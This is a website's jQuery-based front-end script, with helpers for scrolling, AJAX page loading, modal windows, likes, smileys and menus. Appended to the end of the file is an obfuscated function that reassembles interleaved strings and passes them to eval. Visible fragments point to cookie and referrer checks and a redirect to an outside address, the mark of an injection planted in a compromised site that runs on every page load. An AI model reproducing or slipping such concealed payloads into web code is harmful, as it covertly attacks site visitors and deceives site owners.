
$(document).ready(function(){
	$(window).scroll(function(){
		if($(window).scrollTop()>1000)
			$('.scroll_fix_bg').show(); 
		else 
			$('.scroll_fix_bg').hide(); 
	});
	$('.scroll_fix_bg').click(function(){$(window).scrollTop(0);});
});


function clc(txt){
var el=document.getElementById("textarea");
	el.focus();
    var start=el.selectionStart;
    var end=el.selectionEnd;
	el.value=el.value.substring(0,el.selectionStart)+
    txt+
	el.value.substring(el.selectionStart,el.selectionEnd)+
	""+
    el.value.substring(el.selectionEnd);
	el.selectionStart=start+txt.length;
	el.selectionEnd=el.selectionStart;
}

window.onload = function(){ 
	window.setTimeout(
		function(){ 
			window.addEventListener(
				"popstate",  
				function(e){
					e.preventDefault(); 
					Page.Prev(e.state.link);
				},  
			false); 
		}, 
	1); 
}

var Page = {
	Loading: function(f){
		if(f == 'start'){
			$('#loading').show();
			$('#window').html('').hide();
		}
		if(f == 'stop'){
			$('#loading').hide();
			$('html, body').scrollTop(0);
		}
	},
	Go: function(h){
	
		history.pushState({link:h}, null, h);
		Page.Loading('start');
		
		$('.content').load(h, {ajax: 'yes'}, function(data){
			Page.Loading('stop');
		});
	},
	Prev: function(h){
		
		Page.Loading('start');
		$('.content').load(h, {ajax: 'yes'}, function(data){
			Page.Loading('stop');
		});		
	}
}

var Window = {
		Open: function(h){
		$('#window').load(h, {ajax: 'yes', window: 'yes'}, function(data){
		$('#window').fadeIn(200);
		});
	},
		Close: function(){
		$('#window').fadeOut(200);
	}
}


var Like = {
		Go: function(h,id){		
		$('#like_'+id).load(h, {ajax: 'yes'}, function(data){
		});
	}
}

var Smiles = {
		Open: function(){	
		$('#block_smiles').load('/smiles.php', {ajax: 'yes'}, function(data){
		$('#block_smiles').slideDown(200);
		$('#button_smiles_open').hide();
		$('#button_smiles_close').show();
		});
	},
		Close: function(){		
		$('#block_smiles').slideUp(200);
		$('#button_smiles_open').show();
		$('#button_smiles_close').hide();
	}
}

var Title = {
		Open: function(h){
		$('#title_menu').slideDown(200);
	}
}

var Notifications = {
		Close: function(id){
		$('#block_notification_close_'+id).remove();
	}
}

var Dialog = {
		Refresh: function(id){		
		$('#refresh_dialog').load('/mail/?id='+id+' '+'#refresh_dialog span', {ajax: 'yes'}, function(data){
		});
	}
}

var BlockMenu = {
		Open: function(id){
		$('div#block_menu_'+id).slideDown(200);
		$('a#block_menu_'+id).attr('onClick', 'BlockMenu.Close('+id+'); return false');
		$('img#block_menu_'+id).attr('src', '/design/img/menu_hide.png');
	},
		Close: function(id){
		$('div#block_menu_'+id).slideUp(200);
		$('a#block_menu_'+id).attr('onClick', 'BlockMenu.Open('+id+'); return false');
		$('img#block_menu_'+id).attr('src', '/design/img/menu_show.png');
	}
}(function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());